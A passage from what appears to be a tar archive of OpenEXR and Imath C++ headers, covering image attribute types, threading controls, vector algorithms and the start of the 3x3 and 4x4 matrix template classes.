SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_RATIONAL_ATTRIBUTE_H #define INCLUDED_IMF_RATIONAL_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class RationalAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfRational.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::Rational> RationalAttribute; template <> IMF_EXPORT const char *RationalAttribute::staticTypeName (); template <> IMF_EXPORT void RationalAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void RationalAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfThreading.h 0000644 00000010370 15246445047 0010552 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2005, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_THREADING_H #define INCLUDED_IMF_THREADING_H #include "ImfExport.h" #include "ImfNamespace.h" //----------------------------------------------------------------------------- // // Threading support for the IlmImf library // // The IlmImf library uses threads to perform reading and writing // of OpenEXR files in parallel. The thread that calls the library // always performs the actual file IO (this is usually the main // application thread) whereas a several worker threads perform // data compression and decompression. The number of worker // threads can be any non-negative value (a value of zero reverts // to single-threaded operation). As long as there is at least // one worker thread, file IO and compression can potentially be // done concurrently through pinelining. If there are two or more // worker threads, then pipelining as well as concurrent compression // of multiple blocks can be performed. // // Threading in the Imf library is controllable at two granularities: // // * The functions in this file query and control the total number // of worker threads, which will be created globally for the whole // library. Regardless of how many input or output files are // opened simultaneously, the library will use at most this number // of worker threads to perform all work. The default number of // global worker threads is zero (i.e. single-threaded operation; // everything happens in the thread that calls the library). // // * Furthermore, it is possible to set the number of threads that // each input or output file should keep busy. This number can // be explicitly set for each file. The default behavior is for // each file to try to occupy all worker threads in the library's // thread pool. // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------------------------------------- // Return the number of Imf-global worker threads used for parallel // compression and decompression of OpenEXR files. //----------------------------------------------------------------------------- IMF_EXPORT int globalThreadCount (); //----------------------------------------------------------------------------- // Change the number of Imf-global worker threads //----------------------------------------------------------------------------- IMF_EXPORT void setGlobalThreadCount (int count); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTileDescriptionAttribute.h 0000644 00000005320 15246445047 0013631 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TILE_DESCRIPTION_ATTRIBUTE_H #define INCLUDED_IMF_TILE_DESCRIPTION_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class TileDescriptionAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfTileDescription.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::TileDescription> TileDescriptionAttribute; template <> IMF_EXPORT const char * TileDescriptionAttribute::staticTypeName (); template <> IMF_EXPORT void TileDescriptionAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void TileDescriptionAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathVecAlgo.h 0000644 00000011220 15246445047 0010507 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHVECALGO_H #define INCLUDED_IMATHVECALGO_H //------------------------------------------------------------------------- // // This file contains algorithms applied to or in conjunction // with points (Imath::Vec2 and Imath::Vec3). // The assumption made is that these functions are called much // less often than the basic point functions or these functions // require more support classes. // //------------------------------------------------------------------------- #include "ImathVec.h" #include "ImathLimits.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------------------------- // Find the projection of vector t onto vector s (Vec2, Vec3, Vec4) //----------------------------------------------------------------- template <class Vec> Vec project (const Vec &s, const Vec &t); //------------------------------------------------ // Find a vector that is perpendicular to s and // in the same plane as s and t (Vec2, Vec3, Vec4) //------------------------------------------------ template <class Vec> Vec orthogonal (const Vec &s, const Vec &t); //----------------------------------------------- // Find the direction of a ray s after reflection // off a plane with normal t (Vec2, Vec3, Vec4) //----------------------------------------------- template <class Vec> Vec reflect (const Vec &s, const Vec &t); //-------------------------------------------------------------------- // Find the vertex of triangle (v0, v1, v2) that is closest to point p // (Vec2, Vec3, Vec4) //-------------------------------------------------------------------- template <class Vec> Vec closestVertex (const Vec &v0, const Vec &v1, const Vec &v2, const Vec &p); //--------------- // Implementation //--------------- template <class Vec> Vec project (const Vec &s, const Vec &t) { Vec sNormalized = s.normalized(); return sNormalized * (sNormalized ^ t); } template <class Vec> Vec orthogonal (const Vec &s, const Vec &t) { return t - project (s, t); } template <class Vec> Vec reflect (const Vec &s, const Vec &t) { return s - typename Vec::BaseType(2) * (s - project(t, s)); } template <class Vec> Vec closestVertex(const Vec &v0, const Vec &v1, const Vec &v2, const Vec &p) { Vec nearest = v0; typename Vec::BaseType neardot = (v0 - p).length2(); typename Vec::BaseType tmp = (v1 - p).length2(); if (tmp < neardot) { neardot = tmp; nearest = v1; } tmp = (v2 - p).length2(); if (tmp < neardot) { neardot = tmp; nearest = v2; } return nearest; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHVECALGO_H OpenEXR/ImathMatrix.h 0000644 00000244662 15246445047 0010455 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHMATRIX_H #define INCLUDED_IMATHMATRIX_H //---------------------------------------------------------------- // // 2D (3x3) and 3D (4x4) transformation matrix templates. // //---------------------------------------------------------------- #include "ImathPlatform.h" #include "ImathFun.h" #include "ImathExc.h" #include "ImathVec.h" #include "ImathShear.h" #include "ImathNamespace.h" #include <cstring> #include <iostream> #include <iomanip> #include <string.h> #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER // suppress exception specification warnings #pragma warning(disable:4290) #endif IMATH_INTERNAL_NAMESPACE_HEADER_ENTER enum Uninitialized {UNINITIALIZED}; template <class T> class Matrix33 { public: //------------------- // Access to elements //------------------- T x[3][3]; T * operator [] (int i); const T * operator [] (int i) const; //------------- // Constructors //------------- Matrix33 (Uninitialized) {} Matrix33 (); // 1 0 0 // 0 1 0 // 0 0 1 Matrix33 (T a); // a a a // a a a // a a a Matrix33 (const T a[3][3]); // a[0][0] a[0][1] a[0][2] // a[1][0] a[1][1] a[1][2] // a[2][0] a[2][1] a[2][2] Matrix33 (T a, T b, T c, T d, T e, T f, T g, T h, T i); // a b c // d e f // g h i //-------------------------------- // Copy constructor and assignment //-------------------------------- Matrix33 (const Matrix33 &v); template <class S> explicit Matrix33 (const Matrix33<S> &v); const Matrix33 & operator = (const Matrix33 &v); const Matrix33 & operator = (T a); //---------------------- // Compatibility with Sb //---------------------- T * getValue (); const T * getValue () const; template <class S> void getValue (Matrix33<S> &v) const; template <class S> Matrix33 & setValue (const Matrix33<S> &v); template <class S> Matrix33 & setTheMatrix (const Matrix33<S> &v); //--------- // Identity //--------- void makeIdentity(); //--------- // Equality //--------- bool operator == (const Matrix33 &v) const; bool operator != (const Matrix33 &v) const; //----------------------------------------------------------------------- // Compare two matrices and test if they are "approximately equal": // // equalWithAbsError (m, e) // // Returns true if the coefficients of this and m are the same with // an absolute error of no more than e, i.e., for all i, j // // abs (this[i][j] - m[i][j]) <= e // // equalWithRelError (m, e) // // Returns true if the coefficients of this and m are the same with // a relative error of no more than e, i.e., for all i, j // // abs (this[i] - v[i][j]) <= e * abs (this[i][j]) //----------------------------------------------------------------------- bool equalWithAbsError (const Matrix33<T> &v, T e) const; bool equalWithRelError (const Matrix33<T> &v, T e) const; //------------------------ // Component-wise addition //------------------------ const Matrix33 & operator += (const Matrix33 &v); const Matrix33 & operator += (T a); Matrix33 operator + (const Matrix33 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Matrix33 & operator -= (const Matrix33 &v); const Matrix33 & operator -= (T a); Matrix33 operator - (const Matrix33 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Matrix33 operator - () const; const Matrix33 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Matrix33 & operator *= (T a); Matrix33 operator * (T a) const; //----------------------------------- // Matrix-times-matrix multiplication //----------------------------------- const Matrix33 & operator *= (const Matrix33 &v); Matrix33 operator * (const Matrix33 &v) const; //----------------------------------------------------------------- // Vector-times-matrix multiplication; see also the "operator *" // functions defined below. // // m.multVecMatrix(src,dst) implements a homogeneous transformation // by computing Vec3 (src.x, src.y, 1) * m and dividing by the // result's third element. // // m.multDirMatrix(src,dst) multiplies src by the upper left 2x2 // submatrix, ignoring the rest of matrix m. //----------------------------------------------------------------- template <class S> void multVecMatrix(const Vec2<S> &src, Vec2<S> &dst) const; template <class S> void multDirMatrix(const Vec2<S> &src, Vec2<S> &dst) const; //------------------------ // Component-wise division //------------------------ const Matrix33 & operator /= (T a); Matrix33 operator / (T a) const; //------------------ // Transposed matrix //------------------ const Matrix33 & transpose (); Matrix33 transposed () const; //------------------------------------------------------------ // Inverse matrix: If singExc is false, inverting a singular // matrix produces an identity matrix. If singExc is true, // inverting a singular matrix throws a SingMatrixExc. // // inverse() and invert() invert matrices using determinants; // gjInverse() and gjInvert() use the Gauss-Jordan method. // // inverse() and invert() are significantly faster than // gjInverse() and gjInvert(), but the results may be slightly // less accurate. // //------------------------------------------------------------ const Matrix33 & invert (bool singExc = false) throw (IEX_NAMESPACE::MathExc); Matrix33<T> inverse (bool singExc = false) const throw (IEX_NAMESPACE::MathExc); const Matrix33 & gjInvert (bool singExc = false) throw (IEX_NAMESPACE::MathExc); Matrix33<T> gjInverse (bool singExc = false) const throw (IEX_NAMESPACE::MathExc); //------------------------------------------------ // Calculate the matrix minor of the (r,c) element //------------------------------------------------ T minorOf (const int r, const int c) const; //--------------------------------------------------- // Build a minor using the specified rows and columns //--------------------------------------------------- T fastMinor (const int r0, const int r1, const int c0, const int c1) const; //------------ // Determinant //------------ T determinant() const; //----------------------------------------- // Set matrix to rotation by r (in radians) //----------------------------------------- template <class S> const Matrix33 & setRotation (S r); //----------------------------- // Rotate the given matrix by r //----------------------------- template <class S> const Matrix33 & rotate (S r); //-------------------------------------------- // Set matrix to scale by given uniform factor //-------------------------------------------- const Matrix33 & setScale (T s); //------------------------------------ // Set matrix to scale by given vector //------------------------------------ template <class S> const Matrix33 & setScale (const Vec2<S> &s); //---------------------- // Scale the matrix by s //---------------------- template <class S> const Matrix33 & scale (const Vec2<S> &s); //------------------------------------------ // Set matrix to translation by given vector //------------------------------------------ template <class S> const Matrix33 & setTranslation (const Vec2<S> &t); //----------------------------- // Return translation component //----------------------------- Vec2<T> translation () const; //-------------------------- // Translate the matrix by t //-------------------------- template <class S> const Matrix33 & translate (const Vec2<S> &t); //----------------------------------------------------------- // Set matrix to shear x for each y coord. by given factor xy //----------------------------------------------------------- template <class S> const Matrix33 & setShear (const S &h); //------------------------------------------------------------- // Set matrix to shear x for each y coord. by given factor h[0] // and to shear y for each x coord. by given factor h[1] //------------------------------------------------------------- template <class S> const Matrix33 & setShear (const Vec2<S> &h); //----------------------------------------------------------- // Shear the matrix in x for each y coord. by given factor xy //----------------------------------------------------------- template <class S> const Matrix33 & shear (const S &xy); //----------------------------------------------------------- // Shear the matrix in x for each y coord. by given factor xy // and shear y for each x coord. by given factor yx //----------------------------------------------------------- template <class S> const Matrix33 & shear (const Vec2<S> &h); //-------------------------------------------------------- // Number of the row and column dimensions, since // Matrix33 is a square matrix. //-------------------------------------------------------- static unsigned int dimensions() {return 3;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} typedef T BaseType; typedef Vec3<T> BaseVecType; private: template <typename R, typename S> struct isSameType { enum {value = 0}; }; template <typename R> struct isSameType<R, R> { enum {value = 1}; }; }; template <class T> class Matrix44 { public: //------------------- // Access to elements //------------------- T x[4][4]; T * operator [] (int i); const T * operator [] (int i) const; //------------- // Constructors //------------- Matrix44 (Uninitialized) {} Matrix44 (); // 1 0 0 0 // 0 1 0 0 // 0 0 1 0 // 0 0 0 1 Matrix44 (T a); // a a a a // a a a a // a a a a // a a a a Matrix44 (const T a[4][4]) ; // a[0][0] a[0][1] a[0][2] a[0][3] // a[1][0] a[1][1] a[1][2] a[1][3] // a[2][0] a[2][1] a[2][2] a[2][3] // a[3][0] a[3][1] a[3][2] a[3][3] Matrix44 (T a, T b, T c, T d, T e, T f, T g, T h, T i, T j, T k, T l, T m, T n, T o, T p); // a b c d // e f g h // i j k l // m n o p Matrix44 (Matrix33<T> r, Vec3<T> t); // r r r 0 // r r r 0 // r r r 0 // t t t 1 //-------------------------------- // Copy constructor and assignment //-------------------------------- Matrix44 (const Matrix44 &v); template <class S> explicit Matrix44 (const Matrix44<S> &v); const Matrix44 & operator = (const Matrix44 &v); const Matrix44 & operator = (T a); //---------------------- // Compatibility with Sb //---------------------- T * getValue (); const T * getValue () const; template <class S> void getValue (Matrix44<S> &v) const; template <class S> Matrix44 & setValue (const Matrix44<S> &v); template <class S> Matrix44 & setTheMatrix (const Matrix44<S> &v); //--------- // Identity //--------- void makeIdentity(); //--------- // Equality //--------- bool operator == (const Matrix44 &v) const; bool operator != (const Matrix44 &v) const; //----------------------------------------------------------------------- // Compare two matrices and test if they are "approximately equal": // // equalWithAbsError (m, e) // // Returns true if the coefficients of this and m are the same with // an absolute error of no more than e, i.e., for all i, j // // abs (this[i][j] - m[i][j]) <= e // // equalWithRelError (m, e) // // Returns true if the coefficients of this and m are the same with // a relative error of no more than e, i.e., for all i, j // // abs (this[i] - v[i][j]) <= e * abs (this[i][j]) //----------------------------------------------------------------------- bool equalWithAbsError (const Matrix44<T> &v, T e) const; bool equalWithRelError (const Matrix44<T> &v, T e) const; //------------------------ // Component-wise addition //------------------------ const Matrix44 & operator += (const Matrix44 &v); const Matrix44 & operator += (T a); Matrix44 operator + (const Matrix44 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Matrix44 & operator -= (const Matrix44 &v); const Matrix44 & operator -= (T a); Matrix44 operator - (const Matrix44 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Matrix44 operator - () const; const Matrix44 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Matrix44 & operator *= (T a); Matrix44 operator * (T a) const; //----------------------------------- // Matrix-times-matrix multiplication //----------------------------------- const Matrix44 & operator *= (const Matrix44 &v); Matrix44 operator * (const Matrix44 &v) const; static void multiply (const Matrix44 &a, // assumes that const Matrix44 &b, // &a != &c and Matrix44 &c); // &b != &c. //----------------------------------------------------------------- // Vector-times-matrix multiplication; see also the "operator *" // functions defined below. // // m.multVecMatrix(src,dst) implements a homogeneous transformation // by computing Vec4 (src.x, src.y, src.z, 1) * m and dividing by // the result's third element. // // m.multDirMatrix(src,dst) multiplies src by the upper left 3x3 // submatrix, ignoring the rest of matrix m. //----------------------------------------------------------------- template <class S> void multVecMatrix(const Vec3<S> &src, Vec3<S> &dst) const; template <class S> void multDirMatrix(const Vec3<S> &src, Vec3<S> &dst) const; //------------------------ // Component-wise division //------------------------ const Matrix44 & operator /= (T a); Matrix44 operator / (T a) const; //------------------ // Transposed matrix //------------------ const Matrix44 & transpose (); Matrix44 transposed () const; //------------------------------------------------------------ // Inverse matrix: If singExc is false, inverting a singular // matrix produces an identity matrix. If singExc is true, // inverting a singular matrix throws a SingMatrixExc. // // inverse() and invert() invert matrices using determinants; // gjInverse() and gjInvert() use the Gauss-Jordan method. // // inverse() and invert() are significantly faster than // gjInverse() and gjInvert(), but the results may be slightly // less accurate. // //------------------------------------------------------------ const Matrix44 & invert (bool singExc = false) throw (IEX_NAMESPACE::MathExc); Matrix44<T> inverse (bool singExc = false) const throw (IEX_NAMESPACE::MathExc); const Matrix44 & gjInvert (bool singExc = false) throw (IEX_NAMESPACE::MathExc); Matrix44<T> gjInverse (bool singExc = false) const throw (IEX_NAMESPACE::MathExc); //------------------------------------------------ // Calculate the matrix minor of the (r,c) element //------------------------------------------------ T minorOf (const int r, const int c) const; //--------------------------------------------------- // Build a minor using the specified rows and columns //--------------------------------------------------- T fastMinor (const int r0, const int r1, const int r2, const int c0, const int c1, const int c2) const; //------------ // Determinant //------------ T determinant() const; //-------------------------------------------------------- // Set matrix to rotation by XYZ euler angles (in radians) //-------------------------------------------------------- template <class S> const Matrix44 & setEulerAngles (const Vec3<S>& r); //-------------------------------------------------------- // Set matrix to rotation around given axis by given angle //-------------------------------------------------------- template <class S> const Matrix44 & setAxisAngle (const Vec3<S>& ax, S ang); //------------------------------------------- // Rotate the matrix by XYZ euler angles in r //------------------------------------------- template <class S> const Matrix44 & rotate (const Vec3<S> &r); //-------------------------------------------- // Set matrix to scale by given uniform factor //-------------------------------------------- const Matrix44 & setScale (T s); //------------------------------------ // Set matrix to scale by given vector //------------------------------------ template <class S> const Matrix44 & setScale (const Vec3<S> &s); //---------------------- // Scale the matrix by s //---------------------- template <class S> const Matrix44 & scale (const Vec3<S> &s); //------------------------------------------ // Set matrix to translation by given vector //------------------------------------------ template <class S> const Matrix44 & setTranslation (const Vec3<S> &t); //----------------------------- // Return translation component //----------------------------- const Vec3<T> translation () const; //-------------------------- // Translate the matrix by t //-------------------------- template <class S> const Matrix44 & translate (const Vec3<S> &t); //------------------------------------------------------------- // Set matrix to shear by given vector h. The resulting matrix // will shear x for each y coord. by a factor of h[0] ; // will shear x for each z coord. by a factor of h[1] ; // will shear y for each z coord. by a factor of h[2] . //------------------------------------------------------------- template <class S> const Matrix44 & setShear (const Vec3<S> &h); //------------------------------------------------------------ // Set matrix to shear by given factors. The resulting matrix // will shear x for each y coord. by a factor of h.xy ; // will shear x for each z coord. by a factor of h.xz ; // will shear y for each z coord. by a factor of h.yz ; // will shear y for each x coord. by a factor of h.yx ; // will shear z for each x coord. by a factor of h.zx ; // will shear z for each y coord. by a factor of h.zy . //------------------------------------------------------------ template <class S> const Matrix44 & setShear (const Shear6<S> &h); //-------------------------------------------------------- // Shear the matrix by given vector. The composed matrix // will be <shear> * <this>, where the shear matrix ... // will shear x for each y coord. by a factor of h[0] ; // will shear x for each z coord. by a factor of h[1] ; // will shear y for each z coord. by a factor of h[2] . //-------------------------------------------------------- template <class S> const Matrix44 & shear (const Vec3<S> &h); //-------------------------------------------------------- // Number of the row and column dimensions, since // Matrix44 is a square matrix. //-------------------------------------------------------- static unsigned int dimensions() {return 4;} //------------------------------------------------------------ // Shear the matrix by the given factors. The composed matrix // will be <shear> * <this>, where the shear matrix ... // will shear x for each y coord. by a factor of h.xy ; // will shear x for each z coord. by a factor of h.xz ; // will shear y for each z coord. by a factor of h.yz ; // will shear y for each x coord. by a factor of h.yx ; // will shear z for each x coord. by a factor of h.zx ; // will shear z for each y coord. by a factor of h.zy . //------------------------------------------------------------ template <class S> const Matrix44 & shear (const Shear6<S> &h); //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} typedef T BaseType; typedef Vec4<T> BaseVecType; private: template <typename R, typename S> struct isSameType { enum {value = 0}; }; template <typename R> struct isSameType<R, R> { enum {value = 1}; }; }; //-------------- // Stream output //-------------- template <class T> std::ostream & operator << (std::ostream & s, const Matrix33<T> &m); template <class T> std::ostream & operator << (std::ostream & s, const Matrix44<T> &m); //--------------------------------------------- // Vector-times-matrix multiplication operators //--------------------------------------------- template <class S, class T> const Vec2<S> & operator *= (Vec2<S> &v, const Matrix33<T> &m); template <class S, class T> Vec2<S> operator * (const Vec2<S> &v, const Matrix33<T> &m); template <class S, class T> const Vec3<S> & operator *= (Vec3<S> &v, const Matrix33<T> &m); template <class S, class T> Vec3<S> operator * (const Vec3<S> &v, const Matrix33<T> &m); template <class S, class T> const Vec3<S> & operator *= (Vec3<S> &v, const Matrix44<T> &m); template <class S, class T> Vec3<S> operator * (const Vec3<S> &v, const Matrix44<T> &m); template <class S, class T> const Vec4<S> & operator *= (Vec4<S> &v, const Matrix44<T> &m); template <class S, class T> Vec4<S> operator * (const Vec4<S> &v, const Matrix44<T> &m); //------------------------- // Typedefs for convenience //------------------------- typedef Matrix33 <float> M33f; typedef Matrix33 <double> M33d; typedef Matrix44 <float> M44f; typedef Matrix44 <double> M44d; //--------------------------- // Implementation of Matrix33 //--------------------------- template <class T> inline T * Matrix33<T>::operator [] (int i) { return x[i]; } template <class T> inline const T * Matrix33<T>::operator [] (int i) const { return x[i]; } template <class T> inline Matrix33<T>::Matrix33 () { memset (x, 0, sizeof (x)); x[0][0] = 1; x[1][1] = 1; x[2][2] = 1; } template <class T> inline Matrix33<T>::Matrix33 (T a) { x[0][0] = a; x[0][1] = a; x[0][2] = a; x[1][0] = a; x[1][1] = a; x[1][2] = a; x[2][0] = a; x[2][1] = a; x[2][2] = a; } template <class T> inline Matrix33<T>::Matrix33 (const T a[3][3]) { memcpy (x, a, sizeof (x)); } template <class T> inline Matrix33<T>::Matrix33 (T a, T b, T c, T d, T e, T f, T g, T h, T i) { x[0][0] = a; x[0][1] = b; x[0][2] = c; x[1][0] = d; x[1][1] = e; x[1][2] = f; x[2][0] = g; x[2][1] = h; x[2][2] = i; } template <class T> inline Matrix33<T>::Matrix33 (const Matrix33 &v) { memcpy (x, v.x, sizeof (x)); } template <class T> template <class S> inline Matrix33<T>::Matrix33 (const Matrix33<S> &v) { x[0][0] = T (v.x[0][0]); x[0][1] = T (v.x[0][1]); x[0][2] = T (v.x[0][2]); x[1][0] = T (v.x[1][0]); x[1][1] = T (v.x[1][1]); x[1][2] = T (v.x[1][2]); x[2][0] = T (v.x[2][0]); x[2][1] = T (v.x[2][1]); x[2][2] = T (v.x[2][2]); } template <class T> inline const Matrix33<T> & Matrix33<T>::operator = (const Matrix33 